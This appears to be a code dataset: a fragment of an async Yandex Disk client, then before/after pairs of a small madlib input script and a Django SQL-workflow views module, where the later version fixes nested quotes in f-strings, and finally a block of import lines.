'permanently': 'True'
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as resp:
status = resp.status
count += 1
# logger.info(f'user_id: {user_id}. Try delete dir "{folder_name}" in cloud storage.'
# f' Response code: {str(resp.status)}. Message: {await resp.json()}')
match status:
case 200 | 202 | 204:
return True
case 423:
continue
case _:
return False
except ClientConnectorError as cce:
logger.info(f'__request_delete_folder(user_id: {user_id}) ClientConnectorError' + str(cce.args))
await asyncio.sleep(0.1)
continue
async def request_publish(self, user_id, folder_name: str):
if users_db["user"].get(user_id).get("ya_upload_completed"):
try:
async with clientSession() as session:
async with session.put(f"{self.__RESOURCES_URL}/publish",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}"
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as put_resp:
logger.info(f'user_id: {user_id}. Publish folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {put_resp.status}')
except KeyError as ke:
logger.info(f'get_link_file(user_id: {user_id}) KeyError' + str(ke.args))
return f'get_link_file() KeyError {ke.args}'
finally:
published = await self.__request_public(user_id, folder_name)
if published:
for item in published['items']:
if item['name'] == folder_name:
return item['public_url']
else:
return 'При получении ссылки на опубликованный ресурс произошла ошибка'
else:
return f'get_link_file(user_id: {user_id}): ya_upload_completed: 0'
async def __request_public(self, user_id, folder_name: str = ''):
"""get_published_file"""
async with clientSession() as session:
async with session.get(f"{self.__RESOURCES_URL}/public",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}",
'type': 'dir',
'preview_crop': 'true'
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as resp:
logger.info(f'user_id: {user_id}. Get published folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {resp.status}')
if resp.status == 200:
return await resp.json()
else:
error = await resp.json()
return error['descriptions']
async def request_download(self, user_id, folder_name: str = '', file: str = '', ext: str = ''):
"""get link to file or folder"""
if users_db["user"].get(user_id).get("ya_upload_completed"):
try:
async with clientSession() as session:
async with session.get(f"{self.__RESOURCES_URL}/download",
params={
'path': f"{self.__ROOT_FOLDER}/{folder_name}/{file}{ext}"
},
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as resp:
logger.info(f'user_id: {user_id}. Download folder: {self.__ROOT_FOLDER}/{folder_name}.'
f' Response: {resp.status}')
except KeyError as ke:
logger.info(f'download_file(user_id: {user_id}) KeyError' + str(ke.args))
return f'download_file() KeyError {ke.args}'
except ClientConnectorError as cce:
logger.info(f'download_file(user_id: {user_id}) ClientConnectorError' + str(cce.args))
return f'download_file() ClientConnectorError {cce.args}'
finally:
href = await resp.json()
if resp.status == 200:
return href['href']
else:
return 'При получении ссылки на загрузку файла произошла ошибка'
else:
return f'download_file(user_id: {user_id}): ya_upload_completed: 0'
# ----processing response from yandex disk api----
async def request_upload_file(self, user_id: int, data: dict, folder_name: str, overwrite: bool = False):
counter = 0
subfolder_path = f'{self.__ROOT_FOLDER}/{folder_name}'
mininterval = len(data) / 1000
async with clientSession() as session:
async for url, ext in tqdm(data.items(), mininterval=mininterval, token=os.environ.get("BOT_TOKEN"),
chat_id=user_id):
try:
async with session.post(f"{self.__RESOURCES_URL}/upload",
params={
'path': f'{subfolder_path}/{counter + 1}_file{ext}',
'url': url,
'overwrite': str(overwrite)
},
data=None,
headers={
'Content-Type': 'application/json',
'Accept': 'application/json',
'Authorization': f'OAuth {users_db["user"].get(user_id).get("y_api_token")}'
}) as resp:
counter += 1
# logger.info(f" user_id: {user_id} | album: {subfolder_path} | status: {resp.status}")
except ClientConnectorError:
await asyncio.sleep(0.07)
continue
await session.close()
users_db['user'].upsert(
{
"user_id": user_id,
"total_number_uploaded_file":
users_db["user"].get(user_id).get("total_number_uploaded_file") + counter
}, pk="user_id")
logger.info(f'uploaded {counter}')
return counter
async def __create_directory(self, user_id, folder_name, recreate_folder):
users_db['user'].upsert(
{
"user_id": user_id,
"ya_upload_completed": False,
}, pk="user_id")
start_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Try create dir "{folder_name}" in cloud storage.')
if await self.__request_create_folder(user_id, self.__ROOT_FOLDER, recreate_folder=False):
if await self.__request_create_folder(user_id, f'{self.__ROOT_FOLDER}/{folder_name}',
recreate_folder):
end_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Directory creation was done in '
f'{end_create_dir - start_create_dir:0.4f} seconds')
return True
else:
end_create_dir = time.perf_counter()
logger.info(f'user_id: {user_id}. Directory overwrite was done in '
f'{end_create_dir - start_create_dir:0.4f} seconds')
return True
async def upload_file(self, user_id: int, data: dict | TextIO, folder_name: str, overwrite: bool = False,
recreate_folder: bool = True):
start = time.perf_counter()
if isinstance(data, dict):
if await self.__create_directory(user_id, folder_name, recreate_folder):
if (1 <= len(data) <= 10) and (len(data) / await self.request_upload_file(
user_id, data, folder_name, overwrite)) < 1.11111111111:
users_db["user"].upsert(
{
"user_id": user_id,
"ya_upload_completed": True,
}, pk='user_id')
else:
await self.__multitask_post_requests(user_id, data, folder_name, overwrite)
users_db["user"].upsert(
{
"user_id": user_id,
"ya_upload_completed": True,
}, pk='user_id')
elif isinstance(data, TextIO):
pass
end = time.perf_counter()
logger.info(f'upload_file(user_id: {user_id}) was completed in {end - start:0.4f} seconds')
|
import sys
import json
if __name__ == '__main__':
# convert input to dictionary
inputString = sys.argv[1]
inputDict = json.loads(inputString)
# check for missing inputs
while len(inputDict) < 5:
missingInput = ''
try:
if 'number' not in inputDict:
missingInput = 'number'
inputDict['number'] = int(input("Please enter a number: "))
if 'unit_of_measure' not in inputDict:
missingInput = 'unit_of_measure'
inputDict['unit_of_measure'] = input("Please enter a unit of measure: ")
if 'place' not in inputDict:
missingInput = 'place'
inputDict['place'] = input("Please enter a place: ")
if 'adjective' not in inputDict:
missingInput = 'adjective'
inputDict['adjective'] = input("Please enter an adjective: ")
if 'noun' not in inputDict:
missingInput = 'noun'
inputDict['noun'] = input("Please enter a noun: ")
except ValueError:
print(f"Invalid input. Please enter a(n) {missingInput}: ")
continue
else:
break
# check string input length
for item in inputDict:
# checks for strings with over 100 chars or empty strings / strings with just spaces
if item != 'number' and (len(inputDict[item]) > 100 or not(inputDict[item] and not inputDict[item].isspace())):
inputDict[item] = input(f"Please enter another {item} (max 100 characters): ")
# archive inputs to 'record' file
archive = open("record.txt", "a")
# archive.write(str(inputDict) + '\n')
archive.write(json.dumps(inputDict) + '\n')
archive.close
# place each input into template
output = f"One day Anna was walking her {inputDict["number"]} {inputDict["unit_of_measure"]} commute to {inputDict["place"]} and found a {inputDict["adjective"]} {inputDict["noun"]} on the ground."
print (output)
| import sys
import json
if __name__ == '__main__':
# convert input to dictionary
inputString = sys.argv[1]
inputDict = json.loads(inputString)
# check for missing inputs
while len(inputDict) < 5:
missingInput = ''
try:
if 'number' not in inputDict:
missingInput = 'number'
inputDict['number'] = int(input("Please enter a number: "))
if 'unit_of_measure' not in inputDict:
missingInput = 'unit_of_measure'
inputDict['unit_of_measure'] = input("Please enter a unit of measure: ")
if 'place' not in inputDict:
missingInput = 'place'
inputDict['place'] = input("Please enter a place: ")
if 'adjective' not in inputDict:
missingInput = 'adjective'
inputDict['adjective'] = input("Please enter an adjective: ")
if 'noun' not in inputDict:
missingInput = 'noun'
inputDict['noun'] = input("Please enter a noun: ")
except ValueError:
print(f"Invalid input. Please enter a(n) {missingInput}: ")
continue
else:
break
# check string input length
for item in inputDict:
# checks for strings with over 100 chars or empty strings / strings with just spaces
if item != 'number' and (len(inputDict[item]) > 100 or not(inputDict[item] and not inputDict[item].isspace())):
inputDict[item] = input(f"Please enter another {item} (max 100 characters): ")
# archive inputs to 'record' file
archive = open("record.txt", "a")
# archive.write(str(inputDict) + '\n')
archive.write(json.dumps(inputDict) + '\n')
archive.close
# place each input into template
output = f"One day Anna was walking her {inputDict['number']} {inputDict['unit_of_measure']} commute to {inputDict['place']} and found a {inputDict['adjective']} {inputDict['noun']} on the ground."
print (output)
|
# -*- coding: UTF-8 -*-
import traceback
import simplejson as json
import re
from django.contrib.auth.decorators import permission_required
from django.contrib.auth.models import Group
from django.shortcuts import render, get_object_or_404
from django.http import HttpResponseRedirect
from django.urls import reverse
from common.config import SysConfig
from sql.engines import get_engine
from common.utils.permission import superuser_required
from sql.engines.models import ReviewResult, ReviewSet
from sql.utils.tasks import task_info
from .models import Users, SqlWorkflow, QueryPrivileges, ResourceGroup, \
QueryPrivilegesApply, Config, SQL_WORKFLOW_CHOICES, InstanceTag
from sql.utils.workflow_audit import Audit
from sql.utils.sql_review import can_execute, can_timingtask, can_cancel
from common.utils.const import Const, WorkflowDict
from sql.utils.resource_group import user_groups, user_instances
import logging
logger = logging.getLogger('default')
def index(request):
index_path_url = SysConfig().get('index_path_url', 'sqlworkflow')
return HttpResponseRedirect(f"/{index_path_url.strip("/")}/")
def login(request):
"""登录页面"""
if request.user and request.user.is_authenticated:
return HttpResponseRedirect('/')
return render(request, 'login.html')
def sqlworkflow(request):
"""SQL上线工单列表页面"""
return render(request, 'sqlworkflow.html', {'status_list': SQL_WORKFLOW_CHOICES})
# 提交SQL的页面
@permission_required('sql.sql_submit', raise_exception=True)
def submit_sql(request):
user = request.user
# 获取组信息
group_list = user_groups(user)
# 获取所有有效用户,通知对象
active_user = Users.objects.filter(is_active=1)
# 获取系统配置
archer_config = SysConfig()
# 主动创建标签
InstanceTag.objects.get_or_create(tag_code='can_write', defaults={'tag_name': '支持上线', 'active': True})
context = {'active_user': active_user, 'group_list': group_list,
'enable_backup_switch': archer_config.get('enable_backup_switch')}
return render(request, 'sqlsubmit.html', context)
# 展示SQL工单详细页面
def detail(request, workflow_id):
workflow_detail = get_object_or_404(SqlWorkflow, pk=workflow_id)
if workflow_detail.status in ['workflow_finish', 'workflow_exception']:
rows = workflow_detail.sqlworkflowcontent.execute_result
else:
rows = workflow_detail.sqlworkflowcontent.review_content
# 自动审批不通过的不需要获取下列信息
if workflow_detail.status != 'workflow_autoreviewwrong':
# 获取当前审批和审批流程
audit_auth_group, current_audit_auth_group = Audit.review_info(workflow_id, 2)
# 是否可审核
is_can_review = Audit.can_review(request.user, workflow_id, 2)
# 是否可执行
is_can_execute = can_execute(request.user, workflow_id)
# 是否可定时执行
is_can_timingtask = can_timingtask(request.user, workflow_id)
# 是否可取消
is_can_cancel = can_cancel(request.user, workflow_id)
# 获取审核日志
try:
audit_id = Audit.detail_by_workflow_id(workflow_id=workflow_id,
workflow_type=WorkflowDict.workflow_type['sqlreview']).audit_id
last_operation_info = Audit.logs(audit_id=audit_id).latest('id').operation_info
except Exception as e:
logger.debug(f'无审核日志记录,错误信息{e}')
last_operation_info = ''
else:
audit_auth_group = '系统自动驳回'
current_audit_auth_group = '系统自动驳回'
is_can_review = False
is_can_execute = False
is_can_timingtask = False
is_can_cancel = False
last_operation_info = None
# 获取定时执行任务信息
if workflow_detail.status == 'workflow_timingtask':
job_id = Const.workflowJobprefix['sqlreview'] + '-' + str(workflow_id)
job = task_info(job_id)
if job:
run_date = job.next_run
else:
run_date = ''
else:
run_date = ''
# 获取是否开启手工执行确认
manual = SysConfig().get('manual')
review_result = ReviewSet()
if rows:
try:
# 检验rows能不能正常解析
loaded_rows = json.loads(rows)
# 兼容旧数据'[[]]'格式,转换为新格式[{}]
if isinstance(loaded_rows[-1], list):
for r in loaded_rows:
review_result.rows += [ReviewResult(inception_result=r)]
rows = review_result.json()
except json.decoder.JSONDecodeError:
review_result.rows += [ReviewResult(
# 迫于无法单元测试这里加上英文报错信息
errormessage="Json decode failed."
"执行结果Json解析失败, 请联系管理员"
)]
rows = review_result.json()
else:
rows = workflow_detail.sqlworkflowcontent.review_content
if re.match(r"^select", workflow_detail.sqlworkflowcontent.sql_content.lower()):
query_engine = get_engine(instance=workflow_detail.instance)
select_result = query_engine.query(db_name=workflow_detail.db_name, sql=workflow_detail.sqlworkflowcontent.sql_content, limit_num=1000)
column_list = select_result.column_list
select_rows = select_result.rows
else:
column_list = []
select_rows = []
context = {'workflow_detail': workflow_detail, 'rows': rows, 'last_operation_info': last_operation_info,
'is_can_review': is_can_review, 'is_can_execute': is_can_execute, 'is_can_timingtask': is_can_timingtask,
'is_can_cancel': is_can_cancel, 'audit_auth_group': audit_auth_group, 'manual': manual,
'current_audit_auth_group': current_audit_auth_group, 'run_date': run_date, 'column_list': column_list, 'select_rows': select_rows}
return render(request, 'detail.html', context)
# 展示回滚的SQL页面
def rollback(request):
workflow_id = request.GET['workflow_id']
if workflow_id == '' or workflow_id is None:
context = {'errMsg': 'workflow_id参数为空.'}
return render(request, 'error.html', context)
workflow_id = int(workflow_id)
workflow = SqlWorkflow.objects.get(id=workflow_id)
try:
query_engine = get_engine(instance=workflow.instance)
list_backup_sql = query_engine.get_rollback(workflow=workflow)
except Exception as msg:
logger.error(traceback.format_exc())
context = {'errMsg': msg}
return render(request, 'error.html', context)
workflow_detail = SqlWorkflow.objects.get(id=workflow_id)
workflow_title = workflow_detail.workflow_name
rollback_workflow_name = "【回滚工单】原工单Id:%s ,%s" % (workflow_id, workflow_title)
context = {'list_backup_sql': list_backup_sql, 'workflow_detail': workflow_detail,
'rollback_workflow_name': rollback_workflow_name}
return render(request, 'rollback.html', context)
@permission_required('sql.menu_sqlanalyze', raise_exception=True)
def sqlanalyze(request):
"""
SQL分析页面
:param request:
:return:
"""
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'sqlanalyze.html', {'instances': instances})
# SQL文档页面
@permission_required('sql.menu_document', raise_exception=True)
def dbaprinciples(request):
return render(request, 'dbaprinciples.html')
# dashboard页面
@permission_required('sql.menu_dashboard', raise_exception=True)
def dashboard(request):
return render(request, 'dashboard.html')
# SQL在线查询页面
@permission_required('sql.menu_query', raise_exception=True)
def sqlquery(request):
# 获取实例支持查询的标签id
tag_id = InstanceTag.objects.get_or_create(
tag_code='can_read', defaults={'tag_name': '支持查询', 'active': True})[0].id
# 获取用户关联实例列表
instances = [slave for slave in user_instances(request.user, type='all', db_type='all', tags=[tag_id])]
context = {'instances': instances}
return render(request, 'sqlquery.html', context)
# SQL慢日志页面
@permission_required('sql.menu_slowquery', raise_exception=True)
def slowquery(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'tab': 'slowquery', 'instances': instances}
return render(request, 'slowquery.html', context)
# SQL优化工具页面
@permission_required('sql.menu_sqladvisor', raise_exception=True)
def sqladvisor(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'instances': instances}
return render(request, 'sqladvisor.html', context)
# 查询权限申请列表页面
@permission_required('sql.menu_queryapplylist', raise_exception=True)
def queryapplylist(request):
user = request.user
# 获取资源组
group_list = user_groups(user)
context = {'group_list': group_list}
return render(request, 'queryapplylist.html', context)
# 查询权限申请详情页面
def queryapplydetail(request, apply_id):
workflow_detail = QueryPrivilegesApply.objects.get(apply_id=apply_id)
# 获取当前审批和审批流程
audit_auth_group, current_audit_auth_group = Audit.review_info(apply_id, 1)
# 是否可审核
is_can_review = Audit.can_review(request.user, apply_id, 1)
# 获取审核日志
if workflow_detail.status == 2:
try:
audit_id = Audit.detail_by_workflow_id(workflow_id=apply_id, workflow_type=1).audit_id
last_operation_info = Audit.logs(audit_id=audit_id).latest('id').operation_info
except Exception as e:
logger.debug(f'无审核日志记录,错误信息{e}')
last_operation_info = ''
else:
last_operation_info = ''
context = {'workflow_detail': workflow_detail, 'audit_auth_group': audit_auth_group,
'last_operation_info': last_operation_info, 'current_audit_auth_group': current_audit_auth_group,
'is_can_review': is_can_review}
return render(request, 'queryapplydetail.html', context)
# 用户的查询权限管理页面
def queryuserprivileges(request):
# 获取所有用户
user_list = QueryPrivileges.objects.filter(is_deleted=0).values('user_display').distinct()
context = {'user_list': user_list}
return render(request, 'queryuserprivileges.html', context)
# 会话管理页面
@permission_required('sql.menu_dbdiagnostic', raise_exception=True)
def dbdiagnostic(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'tab': 'process', 'instances': instances}
return render(request, 'dbdiagnostic.html', context)
# 工作流审核列表页面
def workflows(request):
return render(request, "workflow.html")
# 工作流审核详情页面
def workflowsdetail(request, audit_id):
# 按照不同的workflow_type返回不同的详情
audit_detail = Audit.detail(audit_id)
if audit_detail.workflow_type == WorkflowDict.workflow_type['query']:
return HttpResponseRedirect(reverse('sql:queryapplydetail', args=(audit_detail.workflow_id,)))
elif audit_detail.workflow_type == WorkflowDict.workflow_type['sqlreview']:
return HttpResponseRedirect(reverse('sql:detail', args=(audit_detail.workflow_id,)))
# 配置管理页面
@superuser_required
def config(request):
# 获取所有资源组名称
group_list = ResourceGroup.objects.all()
# 获取所有权限组
auth_group_list = Group.objects.all()
# 获取所有配置项
all_config = Config.objects.all().values('item', 'value')
sys_config = {}
for items in all_config:
sys_config[items['item']] = items['value']
context = {'group_list': group_list, 'auth_group_list': auth_group_list,
'config': sys_config, 'WorkflowDict': WorkflowDict}
return render(request, 'config.html', context)
# 资源组管理页面
@superuser_required
def group(request):
return render(request, 'group.html')
# 资源组组关系管理页面
@superuser_required
def groupmgmt(request, group_id):
group = ResourceGroup.objects.get(group_id=group_id)
return render(request, 'groupmgmt.html', {'group': group})
# 实例管理页面
@permission_required('sql.menu_instance', raise_exception=True)
def instance(request):
# 获取实例标签
tags = InstanceTag.objects.filter(active=True)
return render(request, 'instance.html', {'tags': tags})
# 实例用户管理页面
@permission_required('sql.menu_instance', raise_exception=True)
def instanceuser(request, instance_id):
return render(request, 'instanceuser.html', {'instance_id': instance_id})
# 实例参数管理页面
@permission_required('sql.menu_param', raise_exception=True)
def instance_param(request):
# 获取用户关联实例列表
instances = user_instances(request.user, type='all', db_type=['mysql', 'inception', 'goinception'])
context = {'tab': 'param_tab', 'instances': instances}
return render(request, 'param.html', context)
# binlog2sql页面
@permission_required('sql.menu_binlog2sql', raise_exception=True)
def binlog2sql(request):
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'binlog2sql.html', {'instances': instances})
# 数据库差异对比页面
@permission_required('sql.menu_schemasync', raise_exception=True)
def schemasync(request):
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'schemasync.html', {'instances': instances})
| # -*- coding: UTF-8 -*-
import traceback
import simplejson as json
import re
from django.contrib.auth.decorators import permission_required
from django.contrib.auth.models import Group
from django.shortcuts import render, get_object_or_404
from django.http import HttpResponseRedirect
from django.urls import reverse
from common.config import SysConfig
from sql.engines import get_engine
from common.utils.permission import superuser_required
from sql.engines.models import ReviewResult, ReviewSet
from sql.utils.tasks import task_info
from .models import Users, SqlWorkflow, QueryPrivileges, ResourceGroup, \
QueryPrivilegesApply, Config, SQL_WORKFLOW_CHOICES, InstanceTag
from sql.utils.workflow_audit import Audit
from sql.utils.sql_review import can_execute, can_timingtask, can_cancel
from common.utils.const import Const, WorkflowDict
from sql.utils.resource_group import user_groups, user_instances
import logging
logger = logging.getLogger('default')
def index(request):
index_path_url = SysConfig().get('index_path_url', 'sqlworkflow')
return HttpResponseRedirect(f"/{index_path_url.strip('/')}/")
def login(request):
"""登录页面"""
if request.user and request.user.is_authenticated:
return HttpResponseRedirect('/')
return render(request, 'login.html')
def sqlworkflow(request):
"""SQL上线工单列表页面"""
return render(request, 'sqlworkflow.html', {'status_list': SQL_WORKFLOW_CHOICES})
# 提交SQL的页面
@permission_required('sql.sql_submit', raise_exception=True)
def submit_sql(request):
user = request.user
# 获取组信息
group_list = user_groups(user)
# 获取所有有效用户,通知对象
active_user = Users.objects.filter(is_active=1)
# 获取系统配置
archer_config = SysConfig()
# 主动创建标签
InstanceTag.objects.get_or_create(tag_code='can_write', defaults={'tag_name': '支持上线', 'active': True})
context = {'active_user': active_user, 'group_list': group_list,
'enable_backup_switch': archer_config.get('enable_backup_switch')}
return render(request, 'sqlsubmit.html', context)
# 展示SQL工单详细页面
def detail(request, workflow_id):
workflow_detail = get_object_or_404(SqlWorkflow, pk=workflow_id)
if workflow_detail.status in ['workflow_finish', 'workflow_exception']:
rows = workflow_detail.sqlworkflowcontent.execute_result
else:
rows = workflow_detail.sqlworkflowcontent.review_content
# 自动审批不通过的不需要获取下列信息
if workflow_detail.status != 'workflow_autoreviewwrong':
# 获取当前审批和审批流程
audit_auth_group, current_audit_auth_group = Audit.review_info(workflow_id, 2)
# 是否可审核
is_can_review = Audit.can_review(request.user, workflow_id, 2)
# 是否可执行
is_can_execute = can_execute(request.user, workflow_id)
# 是否可定时执行
is_can_timingtask = can_timingtask(request.user, workflow_id)
# 是否可取消
is_can_cancel = can_cancel(request.user, workflow_id)
# 获取审核日志
try:
audit_id = Audit.detail_by_workflow_id(workflow_id=workflow_id,
workflow_type=WorkflowDict.workflow_type['sqlreview']).audit_id
last_operation_info = Audit.logs(audit_id=audit_id).latest('id').operation_info
except Exception as e:
logger.debug(f'无审核日志记录,错误信息{e}')
last_operation_info = ''
else:
audit_auth_group = '系统自动驳回'
current_audit_auth_group = '系统自动驳回'
is_can_review = False
is_can_execute = False
is_can_timingtask = False
is_can_cancel = False
last_operation_info = None
# 获取定时执行任务信息
if workflow_detail.status == 'workflow_timingtask':
job_id = Const.workflowJobprefix['sqlreview'] + '-' + str(workflow_id)
job = task_info(job_id)
if job:
run_date = job.next_run
else:
run_date = ''
else:
run_date = ''
# 获取是否开启手工执行确认
manual = SysConfig().get('manual')
review_result = ReviewSet()
if rows:
try:
# 检验rows能不能正常解析
loaded_rows = json.loads(rows)
# 兼容旧数据'[[]]'格式,转换为新格式[{}]
if isinstance(loaded_rows[-1], list):
for r in loaded_rows:
review_result.rows += [ReviewResult(inception_result=r)]
rows = review_result.json()
except json.decoder.JSONDecodeError:
review_result.rows += [ReviewResult(
# 迫于无法单元测试这里加上英文报错信息
errormessage="Json decode failed."
"执行结果Json解析失败, 请联系管理员"
)]
rows = review_result.json()
else:
rows = workflow_detail.sqlworkflowcontent.review_content
if re.match(r"^select", workflow_detail.sqlworkflowcontent.sql_content.lower()):
query_engine = get_engine(instance=workflow_detail.instance)
select_result = query_engine.query(db_name=workflow_detail.db_name, sql=workflow_detail.sqlworkflowcontent.sql_content, limit_num=1000)
column_list = select_result.column_list
select_rows = select_result.rows
else:
column_list = []
select_rows = []
context = {'workflow_detail': workflow_detail, 'rows': rows, 'last_operation_info': last_operation_info,
'is_can_review': is_can_review, 'is_can_execute': is_can_execute, 'is_can_timingtask': is_can_timingtask,
'is_can_cancel': is_can_cancel, 'audit_auth_group': audit_auth_group, 'manual': manual,
'current_audit_auth_group': current_audit_auth_group, 'run_date': run_date, 'column_list': column_list, 'select_rows': select_rows}
return render(request, 'detail.html', context)
# 展示回滚的SQL页面
def rollback(request):
workflow_id = request.GET['workflow_id']
if workflow_id == '' or workflow_id is None:
context = {'errMsg': 'workflow_id参数为空.'}
return render(request, 'error.html', context)
workflow_id = int(workflow_id)
workflow = SqlWorkflow.objects.get(id=workflow_id)
try:
query_engine = get_engine(instance=workflow.instance)
list_backup_sql = query_engine.get_rollback(workflow=workflow)
except Exception as msg:
logger.error(traceback.format_exc())
context = {'errMsg': msg}
return render(request, 'error.html', context)
workflow_detail = SqlWorkflow.objects.get(id=workflow_id)
workflow_title = workflow_detail.workflow_name
rollback_workflow_name = "【回滚工单】原工单Id:%s ,%s" % (workflow_id, workflow_title)
context = {'list_backup_sql': list_backup_sql, 'workflow_detail': workflow_detail,
'rollback_workflow_name': rollback_workflow_name}
return render(request, 'rollback.html', context)
@permission_required('sql.menu_sqlanalyze', raise_exception=True)
def sqlanalyze(request):
"""
SQL分析页面
:param request:
:return:
"""
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'sqlanalyze.html', {'instances': instances})
# SQL文档页面
@permission_required('sql.menu_document', raise_exception=True)
def dbaprinciples(request):
return render(request, 'dbaprinciples.html')
# dashboard页面
@permission_required('sql.menu_dashboard', raise_exception=True)
def dashboard(request):
return render(request, 'dashboard.html')
# SQL在线查询页面
@permission_required('sql.menu_query', raise_exception=True)
def sqlquery(request):
# 获取实例支持查询的标签id
tag_id = InstanceTag.objects.get_or_create(
tag_code='can_read', defaults={'tag_name': '支持查询', 'active': True})[0].id
# 获取用户关联实例列表
instances = [slave for slave in user_instances(request.user, type='all', db_type='all', tags=[tag_id])]
context = {'instances': instances}
return render(request, 'sqlquery.html', context)
# SQL慢日志页面
@permission_required('sql.menu_slowquery', raise_exception=True)
def slowquery(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'tab': 'slowquery', 'instances': instances}
return render(request, 'slowquery.html', context)
# SQL优化工具页面
@permission_required('sql.menu_sqladvisor', raise_exception=True)
def sqladvisor(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'instances': instances}
return render(request, 'sqladvisor.html', context)
# 查询权限申请列表页面
@permission_required('sql.menu_queryapplylist', raise_exception=True)
def queryapplylist(request):
user = request.user
# 获取资源组
group_list = user_groups(user)
context = {'group_list': group_list}
return render(request, 'queryapplylist.html', context)
# 查询权限申请详情页面
def queryapplydetail(request, apply_id):
workflow_detail = QueryPrivilegesApply.objects.get(apply_id=apply_id)
# 获取当前审批和审批流程
audit_auth_group, current_audit_auth_group = Audit.review_info(apply_id, 1)
# 是否可审核
is_can_review = Audit.can_review(request.user, apply_id, 1)
# 获取审核日志
if workflow_detail.status == 2:
try:
audit_id = Audit.detail_by_workflow_id(workflow_id=apply_id, workflow_type=1).audit_id
last_operation_info = Audit.logs(audit_id=audit_id).latest('id').operation_info
except Exception as e:
logger.debug(f'无审核日志记录,错误信息{e}')
last_operation_info = ''
else:
last_operation_info = ''
context = {'workflow_detail': workflow_detail, 'audit_auth_group': audit_auth_group,
'last_operation_info': last_operation_info, 'current_audit_auth_group': current_audit_auth_group,
'is_can_review': is_can_review}
return render(request, 'queryapplydetail.html', context)
# 用户的查询权限管理页面
def queryuserprivileges(request):
# 获取所有用户
user_list = QueryPrivileges.objects.filter(is_deleted=0).values('user_display').distinct()
context = {'user_list': user_list}
return render(request, 'queryuserprivileges.html', context)
# 会话管理页面
@permission_required('sql.menu_dbdiagnostic', raise_exception=True)
def dbdiagnostic(request):
# 获取用户关联实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
context = {'tab': 'process', 'instances': instances}
return render(request, 'dbdiagnostic.html', context)
# 工作流审核列表页面
def workflows(request):
return render(request, "workflow.html")
# 工作流审核详情页面
def workflowsdetail(request, audit_id):
# 按照不同的workflow_type返回不同的详情
audit_detail = Audit.detail(audit_id)
if audit_detail.workflow_type == WorkflowDict.workflow_type['query']:
return HttpResponseRedirect(reverse('sql:queryapplydetail', args=(audit_detail.workflow_id,)))
elif audit_detail.workflow_type == WorkflowDict.workflow_type['sqlreview']:
return HttpResponseRedirect(reverse('sql:detail', args=(audit_detail.workflow_id,)))
# 配置管理页面
@superuser_required
def config(request):
# 获取所有资源组名称
group_list = ResourceGroup.objects.all()
# 获取所有权限组
auth_group_list = Group.objects.all()
# 获取所有配置项
all_config = Config.objects.all().values('item', 'value')
sys_config = {}
for items in all_config:
sys_config[items['item']] = items['value']
context = {'group_list': group_list, 'auth_group_list': auth_group_list,
'config': sys_config, 'WorkflowDict': WorkflowDict}
return render(request, 'config.html', context)
# 资源组管理页面
@superuser_required
def group(request):
return render(request, 'group.html')
# 资源组组关系管理页面
@superuser_required
def groupmgmt(request, group_id):
group = ResourceGroup.objects.get(group_id=group_id)
return render(request, 'groupmgmt.html', {'group': group})
# 实例管理页面
@permission_required('sql.menu_instance', raise_exception=True)
def instance(request):
# 获取实例标签
tags = InstanceTag.objects.filter(active=True)
return render(request, 'instance.html', {'tags': tags})
# 实例用户管理页面
@permission_required('sql.menu_instance', raise_exception=True)
def instanceuser(request, instance_id):
return render(request, 'instanceuser.html', {'instance_id': instance_id})
# 实例参数管理页面
@permission_required('sql.menu_param', raise_exception=True)
def instance_param(request):
# 获取用户关联实例列表
instances = user_instances(request.user, type='all', db_type=['mysql', 'inception', 'goinception'])
context = {'tab': 'param_tab', 'instances': instances}
return render(request, 'param.html', context)
# binlog2sql页面
@permission_required('sql.menu_binlog2sql', raise_exception=True)
def binlog2sql(request):
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'binlog2sql.html', {'instances': instances})
# 数据库差异对比页面
@permission_required('sql.menu_schemasync', raise_exception=True)
def schemasync(request):
# 获取实例列表
instances = [instance.instance_name for instance in user_instances(request.user, type='all', db_type='mysql')]
return render(request, 'schemasync.html', {'instances': instances})
|
import json
import logging
import shutil
from datetime import datetime, timezone
from enum import Enum
from json import JSONDecodeError
from pathlib import Path
from time import sleep
import boto3
from dateutil.parser import isoparse
from django.conf import settings
from django.core.exceptions import ValidationError
from django.core.files import File
from django.db import transaction
from django.utils._os import safe_join
from panimg.image_builders import image_builder_mhd, image_builder_tiff
from grandchallenge.cases.tasks import import_images
from grandchallenge.components.backends.exceptions import (
ComponentException,
EventError,
RetryStep,
TaskCancelled,
TaskStillExecuting,
)
from grandchallenge.components.backends.utils import (
LOGLINES,
safe_extract,
user_error,
)
